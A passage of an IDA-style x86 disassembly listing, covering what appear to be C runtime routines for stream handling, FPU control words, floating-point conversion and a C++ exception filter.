		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB374
		call	near ptr 2800000h
		nop
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB

loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx

loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax

loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax

loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax

loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8

loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4

loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2

loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1

loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h

loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1

loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------

loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h

loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax

loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4

loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8

loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h

loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h

loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2

loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4

loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------

loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx

loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]

loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8

loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]

loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208

loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]

loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------

loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx

loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2

loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------

loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx

loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------

loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h

loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------

loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------

loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx

loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax

loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------

loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CCA8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CCC0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------

loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx

loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]

loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8

loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------

loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]

loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------

loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h

loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB4A0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB4C8, eax
		add	esp, 18h
		movsx	eax, byte_4DB4A2
		mov	dword_4DB4C0, eax
		pop	edi
		movsx	eax, word_4DB4A0
		mov	dword_4DB4C4, eax
		mov	dword_4DB4CC, offset dword_4DB4A4
		mov	eax, offset dword_4DB4C0
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------

loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------

loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8E8o
					; ___:0043D148o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------

loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4D0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4D0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------

loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax

loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1EB8A3E8h], dl
		add	ah, byte ptr dword_4DB4D0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4D035h, 91E89000h, 0C3021EB8h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2600AC5h
		nop
		test	eax, eax
		jz	short loc_424788
